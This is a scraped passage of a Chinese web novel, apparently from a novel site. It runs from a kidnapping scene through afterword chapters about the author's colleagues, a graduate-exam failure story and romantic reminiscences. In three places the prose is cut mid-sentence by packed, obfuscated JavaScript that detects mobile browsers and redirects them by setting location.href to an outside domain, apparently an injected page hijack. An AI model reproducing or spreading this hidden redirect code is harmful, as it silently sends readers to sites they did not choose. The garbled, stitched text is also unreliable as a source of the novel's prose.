35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817703|175316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一切都快要结束了。 这场荒岛的际遇,大抵是已经要画上句号。 可在两人都庆幸自己福大命大,终于从荒岛上得救的时候,不详的预感来了。 季瑞跟电影男主角似的,遇到问题不慌不乱,笑了,站在门口,用手拧了一下门把手,发现不对劲还不明说,偏要诸葛康妮自己来感受一下。 “你来试试。” “我?” 诸葛康妮拿着手机,正在回复信息。 季瑞话音落下的时候,她的手机信号突然中断,教室后边的储物间也突然拉闸,室内一片浓黑。 坏事了。 他们可能被骗了。 季瑞也早就料到,事情不会像他们想象中那么容易。 落入无名岛,他们就成了这镇子上的鱼肉,任人宰割。 “怎么打不开?” 和大部分落入人贩子手里的桥段一样,他们现在被关在这里出不去。所谓的学校倒是假不了,但无名岛的村民并不是什么良善之辈。学校仍在正常运转,校园里上课铃声照常响起。 镇上这座学校还是个干干净净一尘不染的校园。 但是那老头很快就出现在了诸葛康妮和季瑞的面前,在一片漆黑之中,过了很久很久以后。 端着两盆干瘪的馒头,两碗油腻味腥的胖头鱼汤,几乎是甩进储藏室的。 像喂猪一样逼着这两人赶紧吃,别饿死。 储藏室里边终于亮了一盏灯。 长期的黑暗之中,诸葛康妮被光芒刺中,下意识地回避,遮住的眼睛的瞬间,小男孩张文森从外边跑进来,冲过来抢她和季瑞的手机,跟泼猴似的拽。 最后狠狠地将两部手机摔在地上。 爷孙两个用本地的方言在那里沟通着,时不时还夹杂了几声笑。 作为外地人的诸葛康妮和季瑞自然是听不出来说的什么意思,只知道爷孙两个的态度和之前在无名岛上完全不一样。 肯定是要把他们两个给卖了,至于卖到哪里...... 只能祈求别是缅北那种吃人不吐骨头的地方。 ...... 到了晚上,老头回家了,剩张文森这个小孩一边写着作业,一边跟看犯人似的看着两个人。 两人被五花大绑地绑起来。 诸葛康妮问,张文森是不是要杀了她。 小孩笑,脸上是说不出来的一种黑暗的成熟。 “当然不杀你了,我还等着把你们俩身上的东西卖掉给我上大学呢。” 季瑞不禁失笑。 明明是接受过教育的高中生,将来还要成为受过高等教育的大学生,现在却要附和着村里这些人贩子的手段,做这种违法的事。把两个人卖掉,从小孩嘴里说出来,就好像是什么不足挂齿的事情似的。 那现在怎么办?等死吗? 季瑞现在最担心的其实就是康妮,可是待在荒岛的时候她都没有这么无所畏惧过,现在反而跟玩游戏似的。 就这样躺地上,跟上中学那时候一样。 另一个火象星座的男人躺在她的身边,煽风点火:“好啊,人生又多了一炸裂的体验。” 被人贩子拐卖初体验。 还是和初恋在一起。 确实挺炸裂的。 27. 27 朋友 【后记六:朋友】 【后记六:朋友】 首先是学院这里的同事。 温柔、善良、善于道歉。 道歉其实是指一遇到问题就能解决问题,就连领导也是这样。我们总是没有矛盾,相处融洽惬意。 写下这些话的时候我可能已经快要离开这里了,很难用三言两语去说清我们的关系。 张老师,英格兰利物浦硕,男,山东190大汉,最爱干的事情就是毒舌我,毒舌我过往的奇葩恋情,试图以毒攻毒。他很坦然地接受自己最庸俗的爱好,热爱胸大腰细的网络美女,喝威士忌、囤普洱、无休止地定茶具,偶尔挺奢侈浪费,他母亲评价,说囤的普洱下下辈子也喝不完,不如送到自家艺术村的四合院里烧柴。其次讲话一针见血,热爱躺平,上班经常睡过头,甚至让学院两大书记替自己监考四六级。 张喜欢炒股,梦想是通过炒股财富自由,但是天天觉得自己不够努力,他常常和带自己学习的大佬谈到我和姚,还有萱,祝,这几位同时期入职的老师。话里是这样说的,他说,我们这几个同事是混沌时期坚定的好战友。 院里领导的名字,也被张为了方便背后蛐蛐人改成了外企风,Jay、Cris、Bob、Ann、ice、Leon.每一个都有出处,并且和原名完美契合,堪称神来之笔。 他喜欢开着他那辆“贿赂上司未成”收归己囊的白奥迪A6载着我去“office”(饮咖啡),我记得很清楚,最近的一次去喝咖啡,喝的不是咖啡,是“轻轻茉莉”——“卿卿莫离”。这很奇妙,因为同时期,学生在我午休时非要将我叫醒,学生是砀山的,送来了砀山香梨,和家人手工制作的梨子罐头。香梨——“相离”。 折柳、香梨、茉莉、长亭、芳草、烛、笙箫...... 文字意象在这里像把剜心钝刀。 其次是姚,我在学院这里最好的朋友。 姚说。 你不是病人,你只是暂时缺乏安全感和联结感,你很正常。 于是我就认为自己很正常。 姚在孩子生日那天真诚地对我说,今天你给小宝订蛋糕,我就想好你结婚你生孩子我要干啥干啥了,所以我们一定要当很久的好朋友,以后还能一起家庭聚餐的那种,哈哈哈哈。 我想喊上帝了。 姚:【比如我的一个朋友,我很珍惜,就是因为我记得在21年的有一天晚上我跟她一起爬完大蜀山,骑共享电动车回家,我们当时都面临同样的困境和不同的抉择,但当时那种自由、赤城、互相鼓励的状态,让我记忆很深刻,那晚的风其实有点冷,路灯也没那么亮,但我总觉得是温暖的,她当时的笑是有光晕的。】 姚:【我好矫情好敏感】 同时,她会在路灯昏黄下,在我安慰她过后评价,“不知道是不是学新闻的缘故,总感觉你身上散发着人性的光辉。” 不,你才不是呢。 你一点儿也不矫情,你是个感性的天使。 其次就是萱。萱也是个有个性的人,聪明果敢机智外放,很擅长处理各种人际关系。她曾经艰难地捱过重度抑郁,吃药后发胖,人很消沉,给我看过照片,和现在的状态完全不同,那时候眼神空洞面色发白,但是身边站了一个人。 她的大学男朋友。 现在他们仍旧幸福地在一起,最让人感动的是,抑郁症期间,萱的脾气很差,男生义不容辞地担任起了情感守卫的角色,陪伴化作绵骨掌,将黑暗和不堪捶碎。 我们因为一个有重度躁郁症的学生发生了矛盾。 萱夜晚第一时间很真诚地和我道歉。我明白,我们之间总是这样坦诚的。 她也是我在【劚山觅玉】这篇随笔中提到的同事。(第15章·自愈) (选段)【“当年来学院面试的当天下午,出了校门,抬头看了一眼天空,就爱上了这个城市。”她说的话,我一点也不觉得夸张,我好好品味了一下,又治愈又扎心,有时候失恋吧,任何哪怕治愈的音乐和文字都成了一种煽情,折磨得很。我只是感叹,她真是好可爱,真是一个懂得生活的人。就在下班的时候,我坐在她的小电车的后座,她抬头看向天空,让我看看今天粉色的天空,我拍了,挺美。这样的天空,还可以见到很多很多次,我相信是很多次。比这更美的也会出现。】 她说爱上合肥,是因为合肥的晚霞很美。 实际上是因为心迹。 萱的大学时期的男友,考研成功上岸,就选在了合肥,奔赴她,来到她工作的城市。两人约定好在毕业那年结婚。一切都那么的顺理成章,心心相印。 她是幸福的,我真切地感受到了她的幸福。因此合肥的天空是很美的天空,就像年少时我们常口口相传的日本作家夏目漱石的名句,“今夜的月色真美”是一样的。 祝老师,武汉音乐学院作曲系硕士研究生。也是典型的intj,执行力狂魔。张老师评价她是成熟有魅力的知识女性。 确实是这样。 她很有一股知识分子的味道。 我们通常说,取名ABB式的一般都是狠人。但就在这样一类狠人中,祝老师的情感也是相当细腻的。 我印象最深刻的事件有三。 其中一件是车载音乐,车载音乐明明是欧洲古典乐的歌单,但是祝老师却说,这是她男友的歌单。 张老师非常灵性地发言。 这个男人为了更加的了解祝老师,一个科学岛理工学博士,为了和心爱的女孩制造共同话题,选择了解古典乐。这一点腻歪但可爱,甚至可敬。爱一个人,勇敢地爱一个人,认认真真地爱一个人,是非常了不起的事情。 后来我失恋那段时间,来到祝老师家中做客,她想跟我聊八卦,我害怕一个人在自家待着乱想,我们不谋而合,于是坐上了祝老师的黑色特斯拉小电车去了那套湖景小高层,祝老师的男友并不在场,但关怀从不迟到。 我可以想象,他在科学岛的实验室里,取下手套,放下数据报告,盯了一眼家中的监控。哦,原来我女朋友带回家的是个女孩子。家里黑黑的,让我来摇控一下。 于是灯被远程调亮了,电视剧的声音更大了些,窗帘也自动拉上了。 “你按遥控了?”我问。 祝老师非常自然地应:“不是哦,是好宝看家里太黑了,特地弄的。” 这个故事后来我也告诉了Jerry,Jerry笑得很微妙,他说,你也是好宝,你是更好的好宝。每次做成功了一件事,哪怕再小的小事,他也会笑笑,说好宝。再后来,他会在某些特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853973|175316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定的情境下说,你是好宝,好小宝,豆宝,如果弄痛你了要告诉我,这样才是好宝。 祝老师她在翌日上班临行前放音乐,我失恋了很痛苦,听什么都难受。她轻柔和缓地告诉了我一件事。 ——是个真理。 她说,其实你遇到的人不对。你现在不明白,当你真的遇到了那个正儿八经的,要么说俗气一点,真命天子吧。当你遇到了这样的人,你会发现,你的一切的包袱,面子都不复存在了,你可以在街边摊旁驻足,说,我要吃这个,我要吃那个,不会有任何的一丁点的负担。简单来说,就是“做自己”。 做自己,就是爱自己。 就像Jerry十几年来一直最爱讲的一句话一样。 康妮,你要爱自己。 其实这样的同事太多了。 她们都很好。 我还想说最后一个人。 海云。 她也是个零零后,我们同年生。都拥有着零零后独有的古灵精怪。她说她和未婚夫已经相识相恋九年了。 到今年算是第十年,如果再不结婚的话,可能就没有结婚的冲动了。 不对的。以我对她的了解,对她的爱情的了解和感受。 她一定会嫁给王刚。 她可以平时发传单,穿着厚重的泰迪熊玩偶招呼客人,一个刚上大学没多久的美术系学生,穿着一身黑的工装连体衣到一个又一个客户家里给人家粉刷墙壁,一个跑步没两百米就要气喘吁吁,满面通红的小姑娘,没日没夜地做了好多好多天,只为了赚钱。 为了赚异地见男友的车票钱、饭钱、房费、旅行基金、零零散散的开销。 因为男友王刚读研期间的学费是助学贷,生活费自理,经济拮据。但海云很理解,身为艺术生有更多赚钱的渠道,画画、做设计图、刷艺术墙。她付出得通常更多,不过从来也没有嫌弃过对方。 也为了能和王刚在同一个单位上班,放弃了文化馆清闲的工作,奔赴这里做24小时累得马不停蹄的辅导员。 我们这个时代,通常会给这样的女孩子下一个“倒贴”“恋爱脑”的标签。但是我不会,只有你真正地见识到了这对情侣的状态,你才会知道,这一切,值得。 好的感情值得一切。 值得共同奔赴,值得相互承诺,值得毫无顾忌地为对方付出。 我们看看这些年轻人,每个人的故事各有千秋,真实朴素又可爱,我也是个普通的人,记录下来这些普通的,有时候又有些跌宕起伏、不可思议的故事。 我想,确实艺术源自生活,生活高于艺术。 命运,实在是太玄妙莫测的东西,我们永远无法预测下一秒会发生什么,就像此刻,我也无法预判我将会写下什么样的文字,写出怎么样的故事。 但是知道,年轻人真美好,世界是属于他们的,毛爷爷说得没错。 毛选里也说,认错不是对外的事情,而是一种向内兼容的修炼。认错不是软弱,而是内心强大的表现。 自从来到了这里,从海南来到了合肥。短短两年内,我经历了这么多的事,得到了这么大的心灵上的成长,最重要的是,拥有了应对邪祟的力量,我的心变得更加的强大。 我可以,你们当然也可以。 28. 28 查分 现在考研查分前 还有几个小时就要出成绩了。今年依旧参加了#考研,算算也应该是三战了。 可能是双非的缘故,大一入学时就发现周围同学的考研欲望特别强烈。没有保研,没有出国,没有找工作,没有其他的任何打算,问就是要考研!再加上父母的也不断地劝说。于是被群体意志裹挟着,在大四那一年,准确来说是大三下学期开始计划考研。我提前联系好了本校一位对我极好的导师。如果按部就班,过了国家线就会顺利成为她的研究生。 于是出成绩前终日焦虑,梦中也都是出分的画面,有高分上岸的,也有名落孙山的。这种焦虑在出成绩前达到巅峰。果然这世间琐事从来不会随人之愿。2022年的这会,因为各种原因,差了几分才能过国家线。我发自内心地觉得对不起这位老师,对不起家人。 时间来到2022年6月。强烈的不甘让我选择毕业后直接二战。和父母宣布这个想法的时候,老父亲淡淡回了句:“没关系,就当你晚上一年学”。我也认同了,而后的我仿佛一个亡命之徒,放弃了所有的一切,在自习室中终日埋头,晚上一两点到家也是常有之事,好像成为一个研究生成为了我唯一的人生价值。 2022年12月5日,□□联防联控机制综合组宣布疫情全面放开。12月23日成功感染上新冠病毒,倒在了考研的前一天。坚持考完两天后人早已失去感觉。12月26日在床上躺了一整天,无数的念头在我脑海中闪回,我的前途,父母的期盼,其他人的目光……逐渐阳康后更是克制不住这些念头。我常常想,如果没考上,失去了应届生身份的我又能去找到些什么工作呢? 眼看着里查分的日子原来越近,心中早有了预感。 结局不出所料。 普通人的故事就是这样,没有转折,没有幸运眷顾,再次失利的我开始了命运的随波逐流。2023年伊始。考公考编,投简历,仿佛一直在海里,从未上岸过。我一直在思考,考研为了什么,考公又为了什么呢?我的母亲也终日忧虑,一声声哀叹早已将我刺穿。 此刻的我想尽一切办法想先有个班上,报考了多家银行。第一家银行是熟人推荐报考的,过了笔试,面试也很简单。心中也已经做好了拎包上班的准备。但是现实再次将我砸碎。此刻无一人安慰。老父亲觉得是我的笔试不够好,如果是第一就肯定能获得这份工作,可是从小到大没考过第一的我早已竭尽了全力,我又能如何呢。回想到这一路走来,我愈发觉得,路得靠自己走,不能再听父母安排了。 2023年4月。我一直去学习的自习室开始了搬家翻新,我加入其中成为初创合伙人。就像和自己杠上了一样,我不信邪地报名各大银行的考试,还报名了青年就业见习岗位。与此同时,我还了解到西交利物浦这一类中外合作大学,他们和国外的的大学一样,采取申请制,不用参加研究生考试。虽然都说西浦是水硕,但这是我自己能给自己最好的精神安慰,与自己和解才是真正的上岸。 于是我开始了8个月的布局。 在开始就业见习后,我陆续拿到了工行、交行的offer,也算是吐了口气。见习时,因为工作能力突出,所以也接触过很多人,见过很多场面。在窥探了这个世界的本质,在无数的深夜与自己有着更深刻的沟通后,我选择放弃今年的考研转而申请西浦的研究生。于是为了保证备考PTE的时间(西浦申请需要提交语言成绩),直接放弃银行offer,继续就业见习,这样就能在工作和考试中寻求平衡。 我知道这样肯定会引来父母的不解,甚至是责骂。然,事以密成,言以泄败。没有人知道我在干什么。下了班就在自习室,由于两年的失败让我对社交都有些害怕,害怕别人知道自己没有完成目标后的奚落,所以哪怕自习室的同学都很热心开朗,我都没有提过一句自己今年到底要做什么。不过这儿依旧是我心灵上的避难所。 直到在2023年12月12日由中介提交所有申请材料后,我父母才知道我申请西浦这件事情,之前我一直以考研作为自己的掩饰,期间所有考试费用,学习费用皆由我自己承担,去别的城市考试就说去出差。为了挣补课费和考试费,我兼职送过外卖,带过家教。由于去考试坐车要到很远的高铁站,但是考完试回来后已经很晚,早已没有了公交。我每次只得骑摩托往返50公里,奔波于高铁站和家之间。为了保障安全,我从八月份就开始不断地熟悉那条线路。最后一次考完PTE已是11月底。夏日那扑面而来的热浪,也变成了冬日迎面吹来的冷风。 2023年12月20日,西浦下了第一份unconoffer。那一刻,轻舟已过万重山,距离我第三次参加考研,仅剩三天。 笙歌间错华筵启,又是一年查分时。有的同学考研是为了心中的梦想,但是很多朋友和我一样,在时代洪流的裹挟之下。不清楚自己到底要什么,将别人的追求也变成了自己的追求。虽然可能会因此走一些弯路,但我想这一定是必经之路。长夜里所有的寒冷和黑暗,都积聚在黎明前,那恰恰是人最脆弱最动摇的时刻。然而也就是在这个时刻,如果还能坚持还能希望还愿意努力,那也恰恰是人生最光荣的时刻。 愿每一位学子都将得偿所愿!取得理想成绩!上岸理想院校! 来自Huawei备忘录Jerry ——2024.02.26 前男友是infj, Jerry也是。 也一样是业胎。 Jerry问,你觉得infj怎么样? 我无法用语言形容。 之后我开玩笑回,infj天生当我老公的料。 Jerry说,请把infj换成我,甚至补充,“我愿意在我的后面,加上秦彻的名字。” 秦彻和Jerry一样是个热爱拳击、骑机车的男人,是个乙游男主,这一点我曾告诉过Jerry。 我笑他,说他超爱。 接着,我开始为难他。 【你个实习期男朋友】 Jerry:【嗯???????】 Jerry:【怎么谈恋爱还有intern啊】 Jerry:【尊敬的女朋友,请问我该怎么转正?】 我乱回复了一通之后,Jerry沉默了很久,我以为他生气了,但转念一想,Jerry是个不懂得生气的男孩子,所以我猜大概不高兴了,难过了,对我失望了。 经久沉默后,展现在我面前的是一条恋爱求职书,算是外企人的俏皮的小直白。 DearConnie: Iamwritingtoexpressmysinceregratitudeforyourloveandtrust.IamtrulymotivatedbyyourconfidenceandwouldliketoassureyouthatIwillcontinuetoloveyoudiligentlyandstrivetomeettherequirementsforregularizationassoonaspossible. Ilookforwardtocontributingmoreeffectivelytoourteam. BS Your''sJerry 【记得帮我留个HC】 三、 好了?这就不生气了?Jerry笑。 犯矫情的时候......最神奇的是只有你能治我。 其实正常情况之下,我是要发疯、发狂、大喊大叫、大吵大闹、想东想西、疯狂内耗、毁灭全世界、痛苦地吸收所有情绪,但是现在我心绪宁静。 Jerry当即反驳,no,现在,就是正常情况,才应该是——正常情况。 我突然想到了那句《倾城之恋》里的话,里面这样写,“你穿着绿色的雨衣,像一个药瓶子,里面是医我的药。”,《倾城之恋》是我大学期间非常喜欢的一部短篇小说,这句话大学时期很喜欢,非常喜欢,没有任何理由的。 Jerry笑,小诸葛老师,真的和奕含很像,认知总有滞后性,当时意识不到,现在才会理解。 虽然我这瓶药总是带点毒性。 Jerry你好烦!你太讨厌了!你为什么总是说那些,什么“有开始就有结束”“我们一定会分开”,我好想吵架,我要吵架! 然我这样的想法永远无法付诸实际。 Jerry讲,不可以喔,以后不会说了。你要不要看看我刚出来的成绩? 我随口一答。 P是past吗? Jerry,对。 Jerry的【仅康妮可见】 1. 长夜漫漫,思绪如潮。十年前那个夜晚,同样是深夜,看到你官宣的空间动态后我整夜未睡,心绪难平。可命运兜兜转转,竟又把你送回我身边,本以你我皆为过客,却又在茫茫人海中再次相遇。我又何尝不能理解你的心意,这么多年过去了,我不希望你在情绪上头的时候做出决定。 但我始终坚信,爱,自有天意。 2025年3月10日07:52编辑 2. 对我来说又何止久别重逢。 2025年3月10日10:57 3. 深夜补档: 1.诸葛老师说想吃血蛤,暑期魔都,不见不散。 2.回三中。Jerry和张蓉关系特好,可以通过我们的蓉,找到别的老师,集齐你的英雄。 Jerry发誓,绝不给诸葛老师画大饼。 2025年3月11日00:51 4. 深夜补档第二弹,这次是一句话。 ——“和老朋友谈新恋爱。” 2025年3月11日02:05 5. 深夜补档 诸葛老师,我把空间相册的权限对你开放了,有空看看? 2025年3月12日02:22 【回复:又没睡着,外面的小鸟开始叫了】 2025年3月12日03:08 6. 萨菲娜,萨菲娜,只有我才懂你珍贵。 2025年3 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853974|175316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月12日06:02 我的萨菲娜,你还好吗? 2018年10月28日12:51 7. 深夜补档 没睡着,有点想诸葛老师。 想亲嘴儿。 2025年3月13日06:47 8. 一夜没睡,很担心你。 2025年3月17日06:47 9. 天生一对的人需要更久的时间才能在一起。 2025年3月22日0:13 10. 我觉得我们之间陌生的感业已经消失。 现在,我以一种崭新的爱来爱你。 2025年3月27日01:20 初中时期的毕业照我和Jerry都有保存,陵城市第十二中学166班。 高中时期,就是彼此拥有自己班级的照片。 季瑞是传闻中的绝代天骄16班中澳班,康妮是6班平行班。 班级毕业照片25块钱,全校高三毕业班全年级在一起的照片是50块钱,季瑞当时觉得没必要,多年之后猛地想起来,又觉得,我们家就要一张就够了。 康妮有,我就算有了。 所以,高中毕业的那年,我们还是拥有过一张合照。 毕业照。 虽然你在东,我在西。 但是这根命运的红线始终没有离开过你的尾指。 毕业照上我们笑得都很开心,因为那时候快高考了,努力的三年,昏天黑地呕心沥血的高中三年终于进入了尾声,我们都将在这一场没有硝烟的战场上夺回属于我们的胜利旗帜,这一刻的定格是多么宝贵。 这是属于我的,Jerry,我们两人共同的青春。 也是无数人的青春。 青春,一个带着闪烁光环的,酸甜苦辣咸应有尽有的,神明布置的盛大的宴席。 我们品尝到的苦,也甘之如饴。 生长痛,其实是小天使在长翅膀,我们慢慢、慢慢地长大了,我们,好像又很快很快地一眨眼就从千禧年代变成大人了。 很多事情,让人回想起来仿佛就在昨天。 我现在才意识到,Jerry是我最好的朋友,很庆幸他在当下成为了我的爱人,我的丈夫,一个真真正正将我的灵魂含化了咀嚼的人。 让一个思考爱、描述爱的人,体会到了真正的爱。 初中时,班级共计59人,康妮最常考的排名是36、37、38名。 康妮和季瑞的成绩都不太好,常常是康妮36名,季瑞并排考37名;又或者是季瑞考25名,康妮考30名。 两人的分数始终在陵城第十二中学166班的中下游。 那时候在陵城这座美丽的小地方,分数决定一切。成绩差的孩子拥有“原罪”。 分数差代表着,你人品不好、三观低劣、偷奸耍滑、懒骨头,是导致一个核心家庭不幸福的充分必要条件。 好像成绩好就可以被掩盖掉所有缺点,成绩差即使拥有可贵的优点也会被乌云掩盖。成绩好=好学生,成绩差=坏学生;康妮是个很乖的坏小孩,像个挺有滋味的臭皮蛋,那些成绩优异的孩子们是干干净净的白雪。 成绩不好的学生就像人人喊打的过街老鼠,需要遭受到一切人的讥讽,甚至抵达班集体门口的那一瞬间,窗户外的鸟屎拉到了你的头上,你恐怕都要狠狠谴责自己一句——“啊,绝对是因为我的成绩太差了”。 可是后来季瑞和康妮长大后,都变成了很优秀很讲道德的大人。 况且,康妮。 她甚至是非常棒的思政老师、班主任和就业指导老师、心理咨询站站长。经历过风雨的人,实在是未必见得要撕坏别人的伞,而是成为别人心中的太阳,在不见光处默默缝补每一个小孩们疼痛的青春。 *初一年级166班十二月份周考成绩单* 姓名:夏同学数学150英语92语文124历史92总分45812月名次:1名次变化:+2 …… 姓名:季瑞数学129英语60语文90历史75总分35412月名次:37名次变化:-10 姓名:诸葛康妮数学:105英语68语文121历史58总分352名次:38名次变化:+1 Jerry在我想要翻当年的同学录的时候,默默在心里记下这件事,回陵城做清明的第一件事就是嘱咐爹妈帮自己找“成绩单”,叔叔阿姨非常配合,他找了一大沓成绩单,送到我的面前,那个时候我才知道,原来我们在成绩单上并排过这么多次。 那个时候我也终于明白了,为什么我的相册里面莫名其妙多出来一张季瑞的照片。 日期显示,2020年3月14日。 我们错过了很久很久,但是始终都没有在彼此的世界里消失。 那是一张很有趣的错位照片,季瑞双手呈太极状,将高悬明日掌控。 康妮应当认为季瑞是有趣的、可爱的、明明才不是讨厌。 讨厌的人,不会在相册里存在这么这么多年。 康妮喜欢季瑞。